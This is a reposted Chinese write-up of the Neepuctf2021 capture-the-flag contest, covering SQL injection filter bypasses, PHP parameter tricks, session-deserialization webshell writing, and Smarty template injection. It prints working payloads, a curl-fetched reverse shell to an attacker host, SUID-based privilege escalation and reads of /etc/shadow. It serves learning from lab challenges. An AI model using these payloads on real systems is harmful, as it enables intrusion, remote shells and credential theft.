[Neepuctf2021]wp
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Neepuctf2021]wp相关的知识,希望对你有一定的参考价值。
一个比较小众的比赛,是别学校的招新赛,不过也对外开放
记录一点有点难度的题
随便注2.0
是原题“[强网杯 2019]随便注”的变式,过滤的很多
return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\\*| | |\\./i",$inject);
空格都可以用%0a绕过,但是rename被ban了,改名不能用了,set被过滤,预处理语句的set也不能用了,handle也不能用了,网上流传的这三个方法都不行了
看了wp才知道是这样绕过
用prepare与concat结合绕过
select用逗号,
隔开
0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23
有懈可击
- git泄露
- php特性,点和空格传值的时候会转化成下划线
f12看到测试账号,登入进后台
扫描后台有git泄露
找到了一个index.txt
里面唯一的php代码
传一个值给neepu_debug.mode,然后会执行这个命令
但是出现问题,php中,传值的时候,如果键名有点.
,那么就会转化成下划线_
文档
绕过方法:
使用一个中括号,让他以为是数组
比如这题就可以这样绕过
?neepu[debug.mode=system('cat /flag');
Serialize
- 任意文件读取
- session反序列化
- session_upload配合session反序列化
看他的请求里面有一个/functions/file.php?file=
可以读取文件,这波直接拿到许多网页的源码
<?php
/**
* @author: Ricky
* @function: Read file
* @return string
* @param $filename string
* @param $dirname string
**/
header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\\/|\\/$|\\.\\//', $filename)){
$file = file_get_contents($dirname.$filename);
echo $file;
} else{
die('Read fail :(');
}
index.php
<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;
public function __construct() {
$this->neepu = "<a class=\\"navbar-brand\\" href=\\"index.php\\">Serialize</a>";
$this->info['info'] = "<a class=\\"navbar-brand\\" href=\\"index.php\\">PHPINFO</a>";
}
public function checkinfo() {
if(!isset($_POST['info'])) {
echo $this->neepu;
}else {
echo $this->info['info'];
phpinfo();
}
}
public function __call($name,$args) {
echo $this->neepu;
}
public function __toString() {
$this->info['info']->data;
return "Neepu!";
}
}
class n33pu {
public
//! Neepu func
$func;
public function __get($args) {
$Neepu = $this->func;
return $Neepu();
}
}
class dumb {
public
//! dumb
$dumb;
public function silly(){
echo "Who care about it?";
}
public function __destruct(){
$this->dumb->silly();
}
}
$Neepu = new neepu();
echo $Neepu->checkinfo();
?>
config/backdoor.php
<?php
class backdoor {
protected
//! eval code
$cmd;
public function __invoke() {
if(preg_match('/[;+=!@\\$\\"\\.\\_\\(\\)\\[\\]]{1,}/i',$this->cmd)) {
file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);
}
else{
die("A webshell is waiting for you");
}
}
}
应该是在index里面利用这个backdoor来写一个马进后台
这个马就很特殊,只能有这几个符号,这几个符号一看就是之前遇到的无数字字母命令执行,看p神文章
post一个info就得到了phpinfo
找一下反序列化的点
phar是不行了
发现了一个小细节
他这里使用的session引擎是php,而本身的php版本是php7,php5.5.4后默认php_serialize
ini_set('session.serialize_handler','php');
这里是存在session反序列化,但是题目也没用上session,那就属于session不可直接控制的情况
看一下session_upload,发现是打开的
应该锁定是session反序列化了,然后依靠session_upload写shell
|O:4:\\"dumb\\":1:{s:4:\\"dumb\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";N;s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";O:8:\\"backdoor\\":1:{s:3:\\"cmd\\";s:230:\\"$_=[];$_=@\\"$_\\";$_=$_[\\"!\\"==\\"@\\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\\"_\\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\\";}}}}s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";N;}}}}
线程开多一点,可以看到成功执行了
但是在phpinfo里面看到很多命令执行函数都被过滤了
找disable
system,exec,shell_exec,pctnl_exec,chroot,curl_exec
漏了一个passthru
成功执行命令
反弹shell进去
这个反弹shell的方法我也是第一次用,curl反弹shell
在自己的vps上创建一个shell.html,里面写上bash -i >& /dev/tcp/公网ip/端口 0>&1
在目标的机子上执行curl 域名/shell.html |bash
然后到自己的vps上执行nc
成功反弹shell
根目录没有flag,那就估计是在root里面,看了一下,没有权限
接下来就是提权
find / -perm -u=s -type f 2>/dev/null
xxd "/etc/shadow" | xxd -r
xxd "/root/flag" | xxd -r
gamebox
万能密码登录进去
1'='0
发现验证码在返回包里面,就是图片名
使用burp的Pitchfork方式爆破
先设置一下,选中验证码图片的名字
最下面的这个要选always
线程为1
开始爆破
成功后进行跳转
注意他请求了一个php文件,用伪协议读取源码
/index.php?file=php://filter/read=convert.base64-encode/resource=rander.php
<?php
// create object
if ($_SESSION['num'] >= 5) {
include('smarty/Smarty.class.php');
$smarty = new Smarty;
$name = $_SESSION["username"];
$smarty->display('string:恭喜 '.$name.' 获得了胜利');
}
在这个name里面有着SSTI
重新登录,用这个名字来登陆
# {{shell_exec("\\ls\\t/")}}'='0
{{shell_exec("cat\\t/This_is_your_Flag")}}'='0
然后继续抓包爆破
以上是关于[Neepuctf2021]wp的主要内容,如果未能解决你的问题,请参考以下文章
markdown WordPress片段:使用WP CLI检查数据库
php Wordpress functions.php片段使用Yoast的插件将Google Analytics跟踪添加到wp_nav_menu